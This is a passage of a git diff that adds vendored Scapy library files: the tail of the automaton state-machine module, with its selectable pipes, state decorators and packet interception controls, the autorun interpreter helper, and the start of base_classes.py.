+-------+----------+ | | | exit door | # noqa: E501 + | else | +---------------------------------+ +---+--------+ # noqa: E501 + | + | | # noqa: E501 + | +----v-------+ | | # noqa: E501 + +--------->free -->Passive lock| | | # noqa: E501 + +----+-------+ | | # noqa: E501 + | | | # noqa: E501 + | v | # noqa: E501 + +------------------Selectable-Selector-is-advertised-that-the-selectable-is-readable---------+ +""" + + +class SelectableObject(object): + """DEV: to implement one of those, you need to add 2 things to your object: + - add "check_recv" function + - call "self.call_release" once you are ready to be read + + You can set the __selectable_force_select__ to True in the class, if you want to # noqa: E501 + force the handler to use fileno(). This may only be usable on sockets created using # noqa: E501 + the builtin socket API.""" + __selectable_force_select__ = False + + def __init__(self): + self.hooks = [] + + def check_recv(self): + """DEV: will be called only once (at beginning) to check if the object is ready.""" # noqa: E501 + raise OSError("This method must be overwritten.") + + def _wait_non_ressources(self, callback): + """This get started as a thread, and waits for the data lock to be freed then advertise itself to the SelectableSelector using the callback""" # noqa: E501 + self.trigger = threading.Lock() + self.was_ended = False + self.trigger.acquire() + self.trigger.acquire() + if not self.was_ended: + callback(self) + + def wait_return(self, callback): + """Entry point of SelectableObject: register the callback""" + if self.check_recv(): + return callback(self) + _t = threading.Thread(target=self._wait_non_ressources, args=(callback,)) # noqa: E501 + _t.setDaemon(True) + _t.start() + + def register_hook(self, hook): + """DEV: When call_release() will be called, the hook will also""" + self.hooks.append(hook) + + def call_release(self, arborted=False): + """DEV: Must be call when the object becomes ready to read. + Relesases the lock of _wait_non_ressources""" + self.was_ended = arborted + try: + self.trigger.release() + except (threading.ThreadError, AttributeError): + pass + # Trigger hooks + for hook in self.hooks: + hook() + + +class SelectableSelector(object): + """ + Select SelectableObject objects. + + inputs: objects to process + remain: timeout. If 0, return []. + customTypes: types of the objects that have the check_recv function. + """ + + def _release_all(self): + """Releases all locks to kill all threads""" + for i in self.inputs: + i.call_release(True) + self.available_lock.release() + + def _timeout_thread(self, remain): + """Timeout before releasing every thing, if nothing was returned""" + time.sleep(remain) + if not self._ended: + self._ended = True + self._release_all() + + def _exit_door(self, _input): + """This function is passed to each SelectableObject as a callback + The SelectableObjects have to call it once there are ready""" + self.results.append(_input) + if self._ended: + return + self._ended = True + self._release_all() + + def __init__(self, inputs, remain): + self.results = [] + self.inputs = list(inputs) + self.remain = remain + self.available_lock = threading.Lock() + self.available_lock.acquire() + self._ended = False + + def process(self): + """Entry point of SelectableSelector""" + if WINDOWS: + select_inputs = [] + for i in self.inputs: + if not isinstance(i, SelectableObject): + warning("Unknown ignored object type: %s", type(i)) + elif i.__selectable_force_select__: + # Then use select.select + select_inputs.append(i) + elif not self.remain and i.check_recv(): + self.results.append(i) + elif self.remain: + i.wait_return(self._exit_door) + if select_inputs: + # Use default select function + self.results.extend(select(select_inputs, [], [], self.remain)[0]) # noqa: E501 + if not self.remain: + return self.results + + threading.Thread(target=self._timeout_thread, args=(self.remain,)).start() # noqa: E501 + if not self._ended: + self.available_lock.acquire() + return self.results + else: + r, _, _ = select(self.inputs, [], [], self.remain) + return r + + +def select_objects(inputs, remain): + """ + Select SelectableObject objects. Same than: + ``select.select([inputs], [], [], remain)`` + But also works on Windows, only on SelectableObject. + + :param inputs: objects to process + :param remain: timeout. If 0, return []. + """ + handler = SelectableSelector(inputs, remain) + return handler.process() + + +class ObjectPipe(SelectableObject): + read_allowed_exceptions = () + + def __init__(self): + self.closed = False + self.rd, self.wr = os.pipe() + self.queue = deque() + SelectableObject.__init__(self) + + def fileno(self): + return self.rd + + def check_recv(self): + return len(self.queue) > 0 + + def send(self, obj): + self.queue.append(obj) + os.write(self.wr, b"X") + self.call_release() + + def write(self, obj): + self.send(obj) + + def flush(self): + pass + + def recv(self, n=0): + if self.closed: + if self.check_recv(): + return self.queue.popleft() + return None + os.read(self.rd, 1) + return self.queue.popleft() + + def read(self, n=0): + return self.recv(n) + + def close(self): + if not self.closed: + self.closed = True + os.close(self.rd) + os.close(self.wr) + self.queue.clear() + + def __del__(self): + self.close() + + @staticmethod + def select(sockets, remain=conf.recv_poll_rate): + # Only handle ObjectPipes + results = [] + for s in sockets: + if s.closed: + results.append(s) + if results: + return results, None + return select_objects(sockets, remain), None + + +class Message: + def __init__(self, **args): + self.__dict__.update(args) + + def __repr__(self): + return "" % " ".join("%s=%r" % (k, v) + for (k, v) in six.iteritems(self.__dict__) # noqa: E501 + if not k.startswith("_")) + + +class _instance_state: + def __init__(self, instance): + self.__self__ = instance.__self__ + self.__func__ = instance.__func__ + self.__self__.__class__ = instance.__self__.__class__ + + def __getattr__(self, attr): + return getattr(self.__func__, attr) + + def __call__(self, *args, **kargs): + return self.__func__(self.__self__, *args, **kargs) + + def breaks(self): + return self.__self__.add_breakpoints(self.__func__) + + def intercepts(self): + return self.__self__.add_interception_points(self.__func__) + + def unbreaks(self): + return self.__self__.remove_breakpoints(self.__func__) + + def unintercepts(self): + return self.__self__.remove_interception_points(self.__func__) + + +############## +# Automata # +############## + +class ATMT: + STATE = "State" + ACTION = "Action" + CONDITION = "Condition" + RECV = "Receive condition" + TIMEOUT = "Timeout condition" + IOEVENT = "I/O event" + + class NewStateRequested(Exception): + def __init__(self, state_func, automaton, *args, **kargs): + self.func = state_func + self.state = state_func.atmt_state + self.initial = state_func.atmt_initial + self.error = state_func.atmt_error + self.final = state_func.atmt_final + Exception.__init__(self, "Request state [%s]" % self.state) + self.automaton = automaton + self.args = args + self.kargs = kargs + self.action_parameters() # init action parameters + + def action_parameters(self, *args, **kargs): + self.action_args = args + self.action_kargs = kargs + return self + + def run(self): + return self.func(self.automaton, *self.args, **self.kargs) + + def __repr__(self): + return "NewStateRequested(%s)" % self.state + + @staticmethod + def state(initial=0, final=0, error=0): + def deco(f, initial=initial, final=final): + f.atmt_type = ATMT.STATE + f.atmt_state = f.__name__ + f.atmt_initial = initial + f.atmt_final = final + f.atmt_error = error + + def state_wrapper(self, *args, **kargs): + return ATMT.NewStateRequested(f, self, *args, **kargs) + + state_wrapper.__name__ = "%s_wrapper" % f.__name__ + state_wrapper.atmt_type = ATMT.STATE + state_wrapper.atmt_state = f.__name__ + state_wrapper.atmt_initial = initial + state_wrapper.atmt_final = final + state_wrapper.atmt_error = error + state_wrapper.atmt_origfunc = f + return state_wrapper + return deco + + @staticmethod + def action(cond, prio=0): + def deco(f, cond=cond): + if not hasattr(f, "atmt_type"): + f.atmt_cond = {} + f.atmt_type = ATMT.ACTION + f.atmt_cond[cond.atmt_condname] = prio + return f + return deco + + @staticmethod + def condition(state, prio=0): + def deco(f, state=state): + f.atmt_type = ATMT.CONDITION + f.atmt_state = state.atmt_state + f.atmt_condname = f.__name__ + f.atmt_prio = prio + return f + return deco + + @staticmethod + def receive_condition(state, prio=0): + def deco(f, state=state): + f.atmt_type = ATMT.RECV + f.atmt_state = state.atmt_state + f.atmt_condname = f.__name__ + f.atmt_prio = prio + return f + return deco + + @staticmethod + def ioevent(state, name, prio=0, as_supersocket=None): + def deco(f, state=state): + f.atmt_type = ATMT.IOEVENT + f.atmt_state = state.atmt_state + f.atmt_condname = f.__name__ + f.atmt_ioname = name + f.atmt_prio = prio + f.atmt_as_supersocket = as_supersocket + return f + return deco + + @staticmethod + def timeout(state, timeout): + def deco(f, state=state, timeout=timeout): + f.atmt_type = ATMT.TIMEOUT + f.atmt_state = state.atmt_state + f.atmt_timeout = timeout + f.atmt_condname = f.__name__ + return f + return deco + + +class _ATMT_Command: + RUN = "RUN" + NEXT = "NEXT" + FREEZE = "FREEZE" + STOP = "STOP" + END = "END" + EXCEPTION = "EXCEPTION" + SINGLESTEP = "SINGLESTEP" + BREAKPOINT = "BREAKPOINT" + INTERCEPT = "INTERCEPT" + ACCEPT = "ACCEPT" + REPLACE = "REPLACE" + REJECT = "REJECT" + + +class _ATMT_supersocket(SuperSocket, SelectableObject): + def __init__(self, name, ioevent, automaton, proto, *args, **kargs): + SelectableObject.__init__(self) + self.name = name + self.ioevent = ioevent + self.proto = proto + # write, read + self.spa, self.spb = ObjectPipe(), ObjectPipe() + # Register recv hook + self.spb.register_hook(self.call_release) + kargs["external_fd"] = {ioevent: (self.spa, self.spb)} + self.atmt = automaton(*args, **kargs) + self.atmt.runbg() + + def fileno(self): + return self.spb.fileno() + + def send(self, s): + if not isinstance(s, bytes): + s = bytes(s) + return self.spa.send(s) + + def check_recv(self): + return self.spb.check_recv() + + def recv(self, n=MTU): + r = self.spb.recv(n) + if self.proto is not None: + r = self.proto(r) + return r + + def close(self): + if not self.closed: + self.atmt.stop() + self.spa.close() + self.spb.close() + self.closed = True + + @staticmethod + def select(sockets, remain=conf.recv_poll_rate): + return select_objects(sockets, remain), None + + +class _ATMT_to_supersocket: + def __init__(self, name, ioevent, automaton): + self.name = name + self.ioevent = ioevent + self.automaton = automaton + + def __call__(self, proto, *args, **kargs): + return _ATMT_supersocket( + self.name, self.ioevent, self.automaton, + proto, *args, **kargs + ) + + +class Automaton_metaclass(type): + def __new__(cls, name, bases, dct): + cls = super(Automaton_metaclass, cls).__new__(cls, name, bases, dct) + cls.states = {} + cls.state = None + cls.recv_conditions = {} + cls.conditions = {} + cls.ioevents = {} + cls.timeout = {} + cls.actions = {} + cls.initial_states = [] + cls.ionames = [] + cls.iosupersockets = [] + + members = {} + classes = [cls] + while classes: + c = classes.pop(0) # order is important to avoid breaking method overloading # noqa: E501 + classes += list(c.__bases__) + for k, v in six.iteritems(c.__dict__): + if k not in members: + members[k] = v + + decorated = [v for v in six.itervalues(members) + if isinstance(v, types.FunctionType) and hasattr(v, "atmt_type")] # noqa: E501 + + for m in decorated: + if m.atmt_type == ATMT.STATE: + s = m.atmt_state + cls.states[s] = m + cls.recv_conditions[s] = [] + cls.ioevents[s] = [] + cls.conditions[s] = [] + cls.timeout[s] = [] + if m.atmt_initial: + cls.initial_states.append(m) + elif m.atmt_type in [ATMT.CONDITION, ATMT.RECV, ATMT.TIMEOUT, ATMT.IOEVENT]: # noqa: E501 + cls.actions[m.atmt_condname] = [] + + for m in decorated: + if m.atmt_type == ATMT.CONDITION: + cls.conditions[m.atmt_state].append(m) + elif m.atmt_type == ATMT.RECV: + cls.recv_conditions[m.atmt_state].append(m) + elif m.atmt_type == ATMT.IOEVENT: + cls.ioevents[m.atmt_state].append(m) + cls.ionames.append(m.atmt_ioname) + if m.atmt_as_supersocket is not None: + cls.iosupersockets.append(m) + elif m.atmt_type == ATMT.TIMEOUT: + cls.timeout[m.atmt_state].append((m.atmt_timeout, m)) + elif m.atmt_type == ATMT.ACTION: + for c in m.atmt_cond: + cls.actions[c].append(m) + + for v in six.itervalues(cls.timeout): + v.sort(key=lambda x: x[0]) + v.append((None, None)) + for v in itertools.chain(six.itervalues(cls.conditions), + six.itervalues(cls.recv_conditions), + six.itervalues(cls.ioevents)): + v.sort(key=lambda x: x.atmt_prio) + for condname, actlst in six.iteritems(cls.actions): + actlst.sort(key=lambda x: x.atmt_cond[condname]) + + for ioev in cls.iosupersockets: + setattr(cls, ioev.atmt_as_supersocket, _ATMT_to_supersocket(ioev.atmt_as_supersocket, ioev.atmt_ioname, cls)) # noqa: E501 + + return cls + + def build_graph(self): + s = 'digraph "%s" {\n' % self.__class__.__name__ + + se = "" # Keep initial nodes at the beginning for better rendering + for st in six.itervalues(self.states): + if st.atmt_initial: + se = ('\t"%s" [ style=filled, fillcolor=blue, shape=box, root=true];\n' % st.atmt_state) + se # noqa: E501 + elif st.atmt_final: + se += '\t"%s" [ style=filled, fillcolor=green, shape=octagon ];\n' % st.atmt_state # noqa: E501 + elif st.atmt_error: + se += '\t"%s" [ style=filled, fillcolor=red, shape=octagon ];\n' % st.atmt_state # noqa: E501 + s += se + + for st in six.itervalues(self.states): + for n in st.atmt_origfunc.__code__.co_names + st.atmt_origfunc.__code__.co_consts: # noqa: E501 + if n in self.states: + s += '\t"%s" -> "%s" [ color=green ];\n' % (st.atmt_state, n) # noqa: E501 + + for c, k, v in ([("purple", k, v) for k, v in self.conditions.items()] + # noqa: E501 + [("red", k, v) for k, v in self.recv_conditions.items()] + # noqa: E501 + [("orange", k, v) for k, v in self.ioevents.items()]): + for f in v: + for n in f.__code__.co_names + f.__code__.co_consts: + if n in self.states: + line = f.atmt_condname + for x in self.actions[f.atmt_condname]: + line += "\\l>[%s]" % x.__name__ + s += '\t"%s" -> "%s" [label="%s", color=%s];\n' % (k, n, line, c) # noqa: E501 + for k, v in six.iteritems(self.timeout): + for t, f in v: + if f is None: + continue + for n in f.__code__.co_names + f.__code__.co_consts: + if n in self.states: + line = "%s/%.1fs" % (f.atmt_condname, t) + for x in self.actions[f.atmt_condname]: + line += "\\l>[%s]" % x.__name__ + s += '\t"%s" -> "%s" [label="%s",color=blue];\n' % (k, n, line) # noqa: E501 + s += "}\n" + return s + + def graph(self, **kargs): + s = self.build_graph() + return do_graph(s, **kargs) + + +class Automaton(six.with_metaclass(Automaton_metaclass)): + def parse_args(self, debug=0, store=1, **kargs): + self.debug_level = debug + self.socket_kargs = kargs + self.store_packets = store + + def master_filter(self, pkt): + return True + + def my_send(self, pkt): + self.send_sock.send(pkt) + + # Utility classes and exceptions + class _IO_fdwrapper(SelectableObject): + def __init__(self, rd, wr): + if rd is not None and not isinstance(rd, (int, ObjectPipe)): + rd = rd.fileno() + if wr is not None and not isinstance(wr, (int, ObjectPipe)): + wr = wr.fileno() + self.rd = rd + self.wr = wr + SelectableObject.__init__(self) + + def fileno(self): + if isinstance(self.rd, ObjectPipe): + return self.rd.fileno() + return self.rd + + def check_recv(self): + return self.rd.check_recv() + + def read(self, n=65535): + if isinstance(self.rd, ObjectPipe): + return self.rd.recv(n) + return os.read(self.rd, n) + + def write(self, msg): + self.call_release() + if isinstance(self.wr, ObjectPipe): + self.wr.send(msg) + return + return os.write(self.wr, msg) + + def recv(self, n=65535): + return self.read(n) + + def send(self, msg): + return self.write(msg) + + class _IO_mixer(SelectableObject): + def __init__(self, rd, wr): + self.rd = rd + self.wr = wr + SelectableObject.__init__(self) + + def fileno(self): + if isinstance(self.rd, int): + return self.rd + return self.rd.fileno() + + def check_recv(self): + return self.rd.check_recv() + + def recv(self, n=None): + return self.rd.recv(n) + + def read(self, n=None): + return self.recv(n) + + def send(self, msg): + self.wr.send(msg) + return self.call_release() + + def write(self, msg): + return self.send(msg) + + class AutomatonException(Exception): + def __init__(self, msg, state=None, result=None): + Exception.__init__(self, msg) + self.state = state + self.result = result + + class AutomatonError(AutomatonException): + pass + + class ErrorState(AutomatonException): + pass + + class Stuck(AutomatonException): + pass + + class AutomatonStopped(AutomatonException): + pass + + class Breakpoint(AutomatonStopped): + pass + + class Singlestep(AutomatonStopped): + pass + + class InterceptionPoint(AutomatonStopped): + def __init__(self, msg, state=None, result=None, packet=None): + Automaton.AutomatonStopped.__init__(self, msg, state=state, result=result) # noqa: E501 + self.packet = packet + + class CommandMessage(AutomatonException): + pass + + # Services + def debug(self, lvl, msg): + if self.debug_level >= lvl: + log_runtime.debug(msg) + + def send(self, pkt): + if self.state.state in self.interception_points: + self.debug(3, "INTERCEPT: packet intercepted: %s" % pkt.summary()) + self.intercepted_packet = pkt + cmd = Message(type=_ATMT_Command.INTERCEPT, state=self.state, pkt=pkt) # noqa: E501 + self.cmdout.send(cmd) + cmd = self.cmdin.recv() + self.intercepted_packet = None + if cmd.type == _ATMT_Command.REJECT: + self.debug(3, "INTERCEPT: packet rejected") + return + elif cmd.type == _ATMT_Command.REPLACE: + pkt = cmd.pkt + self.debug(3, "INTERCEPT: packet replaced by: %s" % pkt.summary()) # noqa: E501 + elif cmd.type == _ATMT_Command.ACCEPT: + self.debug(3, "INTERCEPT: packet accepted") + else: + raise self.AutomatonError("INTERCEPT: unknown verdict: %r" % cmd.type) # noqa: E501 + self.my_send(pkt) + self.debug(3, "SENT : %s" % pkt.summary()) + + if self.store_packets: + self.packets.append(pkt.copy()) + + # Internals + def __init__(self, *args, **kargs): + external_fd = kargs.pop("external_fd", {}) + self.send_sock_class = kargs.pop("ll", conf.L3socket) + self.recv_sock_class = kargs.pop("recvsock", conf.L2listen) + self.started = threading.Lock() + self.threadid = None + self.breakpointed = None + self.breakpoints = set() + self.interception_points = set() + self.intercepted_packet = None + self.debug_level = 0 + self.init_args = args + self.init_kargs = kargs + self.io = type.__new__(type, "IOnamespace", (), {}) + self.oi = type.__new__(type, "IOnamespace", (), {}) + self.cmdin = ObjectPipe() + self.cmdout = ObjectPipe() + self.ioin = {} + self.ioout = {} + for n in self.ionames: + extfd = external_fd.get(n) + if not isinstance(extfd, tuple): + extfd = (extfd, extfd) + ioin, ioout = extfd + if ioin is None: + ioin = ObjectPipe() + elif not isinstance(ioin, SelectableObject): + ioin = self._IO_fdwrapper(ioin, None) + if ioout is None: + ioout = ObjectPipe() + elif not isinstance(ioout, SelectableObject): + ioout = self._IO_fdwrapper(None, ioout) + + self.ioin[n] = ioin + self.ioout[n] = ioout + ioin.ioname = n + ioout.ioname = n + setattr(self.io, n, self._IO_mixer(ioout, ioin)) + setattr(self.oi, n, self._IO_mixer(ioin, ioout)) + + for stname in self.states: + setattr(self, stname, + _instance_state(getattr(self, stname))) + + self.start() + + def __iter__(self): + return self + + def __del__(self): + self.stop() + + def _run_condition(self, cond, *args, **kargs): + try: + self.debug(5, "Trying %s [%s]" % (cond.atmt_type, cond.atmt_condname)) # noqa: E501 + cond(self, *args, **kargs) + except ATMT.NewStateRequested as state_req: + self.debug(2, "%s [%s] taken to state [%s]" % (cond.atmt_type, cond.atmt_condname, state_req.state)) # noqa: E501 + if cond.atmt_type == ATMT.RECV: + if self.store_packets: + self.packets.append(args[0]) + for action in self.actions[cond.atmt_condname]: + self.debug(2, " + Running action [%s]" % action.__name__) + action(self, *state_req.action_args, **state_req.action_kargs) + raise + except Exception as e: + self.debug(2, "%s [%s] raised exception [%s]" % (cond.atmt_type, cond.atmt_condname, e)) # noqa: E501 + raise + else: + self.debug(2, "%s [%s] not taken" % (cond.atmt_type, cond.atmt_condname)) # noqa: E501 + + def _do_start(self, *args, **kargs): + ready = threading.Event() + _t = threading.Thread(target=self._do_control, args=(ready,) + (args), kwargs=kargs) # noqa: E501 + _t.setDaemon(True) + _t.start() + ready.wait() + + def _do_control(self, ready, *args, **kargs): + with self.started: + self.threadid = threading.currentThread().ident + + # Update default parameters + a = args + self.init_args[len(args):] + k = self.init_kargs.copy() + k.update(kargs) + self.parse_args(*a, **k) + + # Start the automaton + self.state = self.initial_states[0](self) + self.send_sock = self.send_sock_class(**self.socket_kargs) + self.listen_sock = self.recv_sock_class(**self.socket_kargs) + self.packets = PacketList(name="session[%s]" % self.__class__.__name__) # noqa: E501 + + singlestep = True + iterator = self._do_iter() + self.debug(3, "Starting control thread [tid=%i]" % self.threadid) + # Sync threads + ready.set() + try: + while True: + c = self.cmdin.recv() + self.debug(5, "Received command %s" % c.type) + if c.type == _ATMT_Command.RUN: + singlestep = False + elif c.type == _ATMT_Command.NEXT: + singlestep = True + elif c.type == _ATMT_Command.FREEZE: + continue + elif c.type == _ATMT_Command.STOP: + break + while True: + state = next(iterator) + if isinstance(state, self.CommandMessage): + break + elif isinstance(state, self.Breakpoint): + c = Message(type=_ATMT_Command.BREAKPOINT, state=state) # noqa: E501 + self.cmdout.send(c) + break + if singlestep: + c = Message(type=_ATMT_Command.SINGLESTEP, state=state) # noqa: E501 + self.cmdout.send(c) + break + except (StopIteration, RuntimeError): + c = Message(type=_ATMT_Command.END, + result=self.final_state_output) + self.cmdout.send(c) + except Exception as e: + exc_info = sys.exc_info() + self.debug(3, "Transferring exception from tid=%i:\n%s" % (self.threadid, traceback.format_exception(*exc_info))) # noqa: E501 + m = Message(type=_ATMT_Command.EXCEPTION, exception=e, exc_info=exc_info) # noqa: E501 + self.cmdout.send(m) + self.debug(3, "Stopping control thread (tid=%i)" % self.threadid) + self.threadid = None + + def _do_iter(self): + while True: + try: + self.debug(1, "## state=[%s]" % self.state.state) + + # Entering a new state. First, call new state function + if self.state.state in self.breakpoints and self.state.state != self.breakpointed: # noqa: E501 + self.breakpointed = self.state.state + yield self.Breakpoint("breakpoint triggered on state %s" % self.state.state, # noqa: E501 + state=self.state.state) + self.breakpointed = None + state_output = self.state.run() + if self.state.error: + raise self.ErrorState("Reached %s: [%r]" % (self.state.state, state_output), # noqa: E501 + result=state_output, state=self.state.state) # noqa: E501 + if self.state.final: + self.final_state_output = state_output + return + + if state_output is None: + state_output = () + elif not isinstance(state_output, list): + state_output = state_output, + + # Then check immediate conditions + for cond in self.conditions[self.state.state]: + self._run_condition(cond, *state_output) + + # If still there and no conditions left, we are stuck! + if (len(self.recv_conditions[self.state.state]) == 0 and + len(self.ioevents[self.state.state]) == 0 and + len(self.timeout[self.state.state]) == 1): + raise self.Stuck("stuck in [%s]" % self.state.state, + state=self.state.state, result=state_output) # noqa: E501 + + # Finally listen and pay attention to timeouts + expirations = iter(self.timeout[self.state.state]) + next_timeout, timeout_func = next(expirations) + t0 = time.time() + + fds = [self.cmdin] + if len(self.recv_conditions[self.state.state]) > 0: + fds.append(self.listen_sock) + for ioev in self.ioevents[self.state.state]: + fds.append(self.ioin[ioev.atmt_ioname]) + while True: + t = time.time() - t0 + if next_timeout is not None: + if next_timeout <= t: + self._run_condition(timeout_func, *state_output) + next_timeout, timeout_func = next(expirations) + if next_timeout is None: + remain = None + else: + remain = next_timeout - t + + self.debug(5, "Select on %r" % fds) + r = select_objects(fds, remain) + self.debug(5, "Selected %r" % r) + for fd in r: + self.debug(5, "Looking at %r" % fd) + if fd == self.cmdin: + yield self.CommandMessage("Received command message") # noqa: E501 + elif fd == self.listen_sock: + pkt = self.listen_sock.recv(MTU) + if pkt is not None: + if self.master_filter(pkt): + self.debug(3, "RECVD: %s" % pkt.summary()) # noqa: E501 + for rcvcond in self.recv_conditions[self.state.state]: # noqa: E501 + self._run_condition(rcvcond, pkt, *state_output) # noqa: E501 + else: + self.debug(4, "FILTR: %s" % pkt.summary()) # noqa: E501 + else: + self.debug(3, "IOEVENT on %s" % fd.ioname) + for ioevt in self.ioevents[self.state.state]: + if ioevt.atmt_ioname == fd.ioname: + self._run_condition(ioevt, fd, *state_output) # noqa: E501 + + except ATMT.NewStateRequested as state_req: + self.debug(2, "switching from [%s] to [%s]" % (self.state.state, state_req.state)) # noqa: E501 + self.state = state_req + yield state_req + + # Public API + def add_interception_points(self, *ipts): + for ipt in ipts: + if hasattr(ipt, "atmt_state"): + ipt = ipt.atmt_state + self.interception_points.add(ipt) + + def remove_interception_points(self, *ipts): + for ipt in ipts: + if hasattr(ipt, "atmt_state"): + ipt = ipt.atmt_state + self.interception_points.discard(ipt) + + def add_breakpoints(self, *bps): + for bp in bps: + if hasattr(bp, "atmt_state"): + bp = bp.atmt_state + self.breakpoints.add(bp) + + def remove_breakpoints(self, *bps): + for bp in bps: + if hasattr(bp, "atmt_state"): + bp = bp.atmt_state + self.breakpoints.discard(bp) + + def start(self, *args, **kargs): + if not self.started.locked(): + self._do_start(*args, **kargs) + + def run(self, resume=None, wait=True): + if resume is None: + resume = Message(type=_ATMT_Command.RUN) + self.cmdin.send(resume) + if wait: + try: + c = self.cmdout.recv() + except KeyboardInterrupt: + self.cmdin.send(Message(type=_ATMT_Command.FREEZE)) + return + if c.type == _ATMT_Command.END: + return c.result + elif c.type == _ATMT_Command.INTERCEPT: + raise self.InterceptionPoint("packet intercepted", state=c.state.state, packet=c.pkt) # noqa: E501 + elif c.type == _ATMT_Command.SINGLESTEP: + raise self.Singlestep("singlestep state=[%s]" % c.state.state, state=c.state.state) # noqa: E501 + elif c.type == _ATMT_Command.BREAKPOINT: + raise self.Breakpoint("breakpoint triggered on state [%s]" % c.state.state, state=c.state.state) # noqa: E501 + elif c.type == _ATMT_Command.EXCEPTION: + six.reraise(c.exc_info[0], c.exc_info[1], c.exc_info[2]) + + def runbg(self, resume=None, wait=False): + self.run(resume, wait) + + def next(self): + return self.run(resume=Message(type=_ATMT_Command.NEXT)) + __next__ = next + + def stop(self): + self.cmdin.send(Message(type=_ATMT_Command.STOP)) + with self.started: + # Flush command pipes + while True: + r = select_objects([self.cmdin, self.cmdout], 0) + if not r: + break + for fd in r: + fd.recv() + + def restart(self, *args, **kargs): + self.stop() + self.start(*args, **kargs) + + def accept_packet(self, pkt=None, wait=False): + rsm = Message() + if pkt is None: + rsm.type = _ATMT_Command.ACCEPT + else: + rsm.type = _ATMT_Command.REPLACE + rsm.pkt = pkt + return self.run(resume=rsm, wait=wait) + + def reject_packet(self, wait=False): + rsm = Message(type=_ATMT_Command.REJECT) + return self.run(resume=rsm, wait=wait) diff --git a/libs/scapy/autorun.py b/libs/scapy/autorun.py new file mode 100755 index 0000000..135693b --- /dev/null +++ b/libs/scapy/autorun.py @@ -0,0 +1,203 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Run commands when the Scapy interpreter starts. +""" + +from __future__ import print_function +import code +import sys +import importlib +from scapy.config import conf +from scapy.themes import NoTheme, DefaultTheme, HTMLTheme2, LatexTheme2 +from scapy.error import Scapy_Exception +from scapy.utils import tex_escape +import scapy.modules.six as six + + +######################### +# Autorun stuff # +######################### + +class StopAutorun(Scapy_Exception): + code_run = "" + + +class ScapyAutorunInterpreter(code.InteractiveInterpreter): + def __init__(self, *args, **kargs): + code.InteractiveInterpreter.__init__(self, *args, **kargs) + self.error = 0 + + def showsyntaxerror(self, *args, **kargs): + self.error = 1 + return code.InteractiveInterpreter.showsyntaxerror(self, *args, **kargs) # noqa: E501 + + def showtraceback(self, *args, **kargs): + self.error = 1 + exc_type, exc_value, exc_tb = sys.exc_info() + if isinstance(exc_value, StopAutorun): + raise exc_value + return code.InteractiveInterpreter.showtraceback(self, *args, **kargs) + + +def autorun_commands(cmds, my_globals=None, ignore_globals=None, verb=None): + sv = conf.verb + try: + try: + if my_globals is None: + my_globals = importlib.import_module(".all", "scapy").__dict__ + if ignore_globals: + for ig in ignore_globals: + my_globals.pop(ig, None) + if verb is not None: + conf.verb = verb + interp = ScapyAutorunInterpreter(my_globals) + cmd = "" + cmds = cmds.splitlines() + cmds.append("") # ensure we finish multi-line commands + cmds.reverse() + six.moves.builtins.__dict__["_"] = None + while True: + if cmd: + sys.stderr.write(sys.__dict__.get("ps2", "... ")) + else: + sys.stderr.write(str(sys.__dict__.get("ps1", sys.ps1))) + + line = cmds.pop() + print(line) + cmd += "\n" + line + if interp.runsource(cmd): + continue + if interp.error: + return 0 + cmd = "" + if len(cmds) <= 1: + break + except SystemExit: + pass + finally: + conf.verb = sv + return _ # noqa: F821 + + +class StringWriter(object): + """Util to mock sys.stdout and sys.stderr, and + store their output in a 's' var.""" + def __init__(self, debug=None): + self.s = "" + self.debug = debug + + def write(self, x): + if self.debug: + self.debug.write(x) + self.s += x + + def flush(self): + if self.debug: + self.debug.flush() + + +def autorun_get_interactive_session(cmds, **kargs): + """Create an interactive session and execute the + commands passed as "cmds" and return all output + + :param cmds: a list of commands to run + :returns: (output, returned) contains both sys.stdout and sys.stderr logs + """ + sstdout, sstderr = sys.stdout, sys.stderr + sw = StringWriter() + try: + try: + sys.stdout = sys.stderr = sw + res = autorun_commands(cmds, **kargs) + except StopAutorun as e: + e.code_run = sw.s + raise + finally: + sys.stdout, sys.stderr = sstdout, sstderr + return sw.s, res + + +def autorun_get_interactive_live_session(cmds, **kargs): + """Create an interactive session and execute the + commands passed as "cmds" and return all output + + :param cmds: a list of commands to run + :returns: (output, returned) contains both sys.stdout and sys.stderr logs + """ + sstdout, sstderr = sys.stdout, sys.stderr + sw = StringWriter(debug=sstdout) + try: + try: + sys.stdout = sys.stderr = sw + res = autorun_commands(cmds, **kargs) + except StopAutorun as e: + e.code_run = sw.s + raise + finally: + sys.stdout, sys.stderr = sstdout, sstderr + return sw.s, res + + +def autorun_get_text_interactive_session(cmds, **kargs): + ct = conf.color_theme + try: + conf.color_theme = NoTheme() + s, res = autorun_get_interactive_session(cmds, **kargs) + finally: + conf.color_theme = ct + return s, res + + +def autorun_get_live_interactive_session(cmds, **kargs): + ct = conf.color_theme + try: + conf.color_theme = DefaultTheme() + s, res = autorun_get_interactive_live_session(cmds, **kargs) + finally: + conf.color_theme = ct + return s, res + + +def autorun_get_ansi_interactive_session(cmds, **kargs): + ct = conf.color_theme + try: + conf.color_theme = DefaultTheme() + s, res = autorun_get_interactive_session(cmds, **kargs) + finally: + conf.color_theme = ct + return s, res + + +def autorun_get_html_interactive_session(cmds, **kargs): + ct = conf.color_theme + to_html = lambda s: s.replace("<", "<").replace(">", ">").replace("#[#", "<").replace("#]#", ">") # noqa: E501 + try: + try: + conf.color_theme = HTMLTheme2() + s, res = autorun_get_interactive_session(cmds, **kargs) + except StopAutorun as e: + e.code_run = to_html(e.code_run) + raise + finally: + conf.color_theme = ct + + return to_html(s), res + + +def autorun_get_latex_interactive_session(cmds, **kargs): + ct = conf.color_theme + to_latex = lambda s: tex_escape(s).replace("@[@", "{").replace("@]@", "}").replace("@`@", "\\") # noqa: E501 + try: + try: + conf.color_theme = LatexTheme2() + s, res = autorun_get_interactive_session(cmds, **kargs) + except StopAutorun as e: + e.code_run = to_latex(e.code_run) + raise + finally: + conf.color_theme = ct + return to_latex(s), res diff --git a/libs/scapy/base_classes.py b/libs/scapy/base_classes.py new file mode 100755 index 0000000..0c349e0 --- /dev/null +++ b/libs/scapy/base_classes.py @@ -0,0 +1,360 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Generators and packet meta classes. +""" + +################ +# Generators # +################ + +from __future__ import absolute_import + +from functools import reduce +import operator +import os +import re +import random +import socket +import subprocess +import types + +from scapy.consts import WINDOWS +from 